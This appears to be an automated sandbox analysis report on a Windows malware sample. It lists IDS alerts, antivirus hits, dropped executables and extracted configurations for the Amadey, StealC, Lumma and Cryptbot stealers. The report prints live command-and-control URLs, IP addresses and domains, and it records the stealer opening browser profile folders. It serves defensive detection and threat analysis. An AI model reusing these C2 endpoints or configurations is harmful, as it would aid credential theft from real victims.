2024-11-24T14:28:54.576381+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50277	104.21.33.116	443	TCP
2024-11-24T14:29:06.054903+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50321	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:16.549041+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49770	104.21.10.6	443	TCP
2024-11-24T14:24:39.475651+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49834	104.21.33.116	443	TCP
2024-11-24T14:24:52.550753+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49870	104.21.33.116	443	TCP
2024-11-24T14:25:25.040465+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50004	104.21.33.116	443	TCP
2024-11-24T14:28:35.648300+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50259	104.21.33.116	443	TCP
2024-11-24T14:28:50.649439+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50274	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:18.656163+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49777	104.21.10.6	443	TCP
2024-11-24T14:24:54.661851+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49876	104.21.33.116	443	TCP
2024-11-24T14:25:27.240135+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50014	104.21.33.116	443	TCP
2024-11-24T14:28:37.733645+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50261	104.21.33.116	443	TCP
2024-11-24T14:28:52.830055+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50275	104.21.33.116	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:25:22.676331+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49995	185.215.113.16	80	TCP
2024-11-24T14:25:42.581192+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50072	185.215.113.16	80	TCP
2024-11-24T14:28:56.124156+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50280	185.215.113.16	80	TCP
2024-11-24T14:29:07.510509+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50322	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:16.857529+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49774	185.215.113.43	80	TCP
2024-11-24T14:24:29.586459+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49807	185.215.113.43	80	TCP
2024-11-24T14:24:38.264155+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49832	185.215.113.43	80	TCP
2024-11-24T14:24:46.991101+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49857	185.215.113.43	80	TCP
2024-11-24T14:24:54.469837+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49877	185.215.113.43	80	TCP
2024-11-24T14:25:04.815026+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49921	185.215.113.43	80	TCP
2024-11-24T14:28:36.544634+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50260	185.215.113.43	80	TCP
2024-11-24T14:28:41.740281+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50265	185.215.113.43	80	TCP
2024-11-24T14:28:47.087972+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50271	185.215.113.43	80	TCP
2024-11-24T14:28:52.621418+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50276	185.215.113.43	80	TCP
2024-11-24T14:30:49.466203+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50441	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:25:38.444709+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50051	34.116.198.130	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:47.860052+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49855	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:47.737188+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49855	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:48.190286+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49855	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:49.817604+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49855	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:48.311454+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49855	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:25.198637+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49793	104.21.10.6	443	TCP
2024-11-24T14:24:58.566002+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49893	104.21.33.116	443	TCP
2024-11-24T14:25:29.732600+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50022	104.21.33.116	443	TCP
2024-11-24T14:28:42.642917+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50266	104.21.33.116	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:47.283849+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49855	185.215.113.206	80	TCP
2024-11-24T14:25:43.715596+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50073	185.215.113.206	80	TCP
2024-11-24T14:25:51.457814+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50112	185.215.113.206	80	TCP
2024-11-24T14:28:40.964779+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50264	185.215.113.206	80	TCP
2024-11-24T14:28:58.664789+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50286	185.215.113.206	80	TCP
2024-11-24T14:29:30.512739+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50363	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:07.352067+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49748	185.215.113.43	80	TCP
2024-11-24T14:29:08.476028+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50323	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:15.419957+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49759	TCP
2024-11-24T14:28:35.088490+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50257	TCP
2024-11-24T14:30:48.086249+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50434	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:11.879466+0100	2803305	3	Unknown Traffic	192.168.2.4	49760	31.41.244.11	80	TCP
2024-11-24T14:24:18.359491+0100	2803305	3	Unknown Traffic	192.168.2.4	49778	31.41.244.11	80	TCP
2024-11-24T14:24:31.100191+0100	2803305	3	Unknown Traffic	192.168.2.4	49815	185.215.113.16	80	TCP
2024-11-24T14:24:39.813413+0100	2803305	3	Unknown Traffic	192.168.2.4	49838	185.215.113.16	80	TCP
2024-11-24T14:24:48.775637+0100	2803305	3	Unknown Traffic	192.168.2.4	49862	185.215.113.16	80	TCP
2024-11-24T14:24:55.985887+0100	2803305	3	Unknown Traffic	192.168.2.4	49888	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:24:50.674404+0100	2803304	3	Unknown Traffic	192.168.2.4	49855	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T14:25:39.181123+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50052	104.21.33.116	443	TCP
2024-11-24T14:29:04.135241+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50318	104.21.33.116	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dlly_	Avira URL Cloud: Label: malware
Source: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17320193476963	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/7	Avira URL Cloud: Label: malware
Source: CgPhome.fvtekk5pn.top	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000006.00000003.2313546363.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000021.00000002.3320048411.000000000117B000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: e5e907fecb.exe.5012.15.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs:443/api", "Build Version": "LOGS11--LiveTraffi"}
Source: a7f098a093.exe.6104.12.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["home.fvtekk5pn.top", "CgPhome.fvtekk5pn.top"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\r5mqFEC[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\service123.exe	ReversingLabs: Detection: 45%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\r5mqFEC[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: a7f098a093.exe, 0000000C.00000003.2547058326.0000000007052000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_4e499482-e

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.10.6:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50259 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50266 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50270 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50275 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50277 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50278 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50281 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50300 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50311 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50318 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50321 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: e5e907fecb.exe, 0000000F.00000002.3301652405.0000000005C62000.00000040.00000800.00020000.00000000.sdmp, e5e907fecb.exe, 0000000F.00000003.3201877381.0000000008050000.00000004.00001000.00020000.00000000.sdmp, 19cf1f0449.exe, 00000024.00000002.3049262928.0000000000D02000.00000040.00000001.01000000.00000015.sdmp, 19cf1f0449.exe, 00000024.00000003.2914185780.0000000005020000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007D17FB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	7_2_007D17FB
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007D174A FindFirstFileExW,	9_2_007D174A
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007D17FB FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_007D17FB

Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed\	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then movzx eax, byte ptr [esp+esi+000001E8h]	10_2_0040E0D8
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then mov edx, eax	10_2_0043B8E0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then mov edx, ecx	10_2_0043B8E0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+14h]	10_2_004098F0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-65h]	10_2_0040E35B
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then mov byte ptr [eax], bl	10_2_0040CF05
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 98D5A07Fh	10_2_0043C040
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], C18BC4BAh	10_2_0043C040
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 6DBC3610h	10_2_0043C040
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 98D5A07Fh	10_2_0043C040
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then push eax	10_2_0043B860
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then mov byte ptr [ebx], al	10_2_00420870
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then mov ecx, eax	10_2_0040C02B
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then push eax	10_2_0043F8D0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then mov edi, eax	10_2_0043F8D0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 4C697C35h	10_2_0043BCE0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then mov eax, ebp	10_2_00405C90
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then mov eax, ebp	10_2_00405C90
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then mov edx, ecx	10_2_0040BC9D
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then mov byte ptr [esi], cl	10_2_00428CB0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+14h]	10_2_0040E970
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx]	10_2_0040AD00
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then mov word ptr [esi], cx	10_2_0040EA38
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then movzx edx, byte ptr [edi]	10_2_00425E90
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-58FA0F6Ch]	10_2_00440F60
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx+00008F12h]	10_2_004077D0
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 4x nop then mov word ptr [ebp+ebx*4+00h], ax	10_2_004077D0

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 28MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 177MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49774 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49759
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49748 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49807 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49832 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49857 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49855 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49855 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49855
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49855 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49855
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49855 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49877 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49921 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50051 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50073 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50112 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50260 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50276 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50264 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50265 -> 185.215.113.43:80
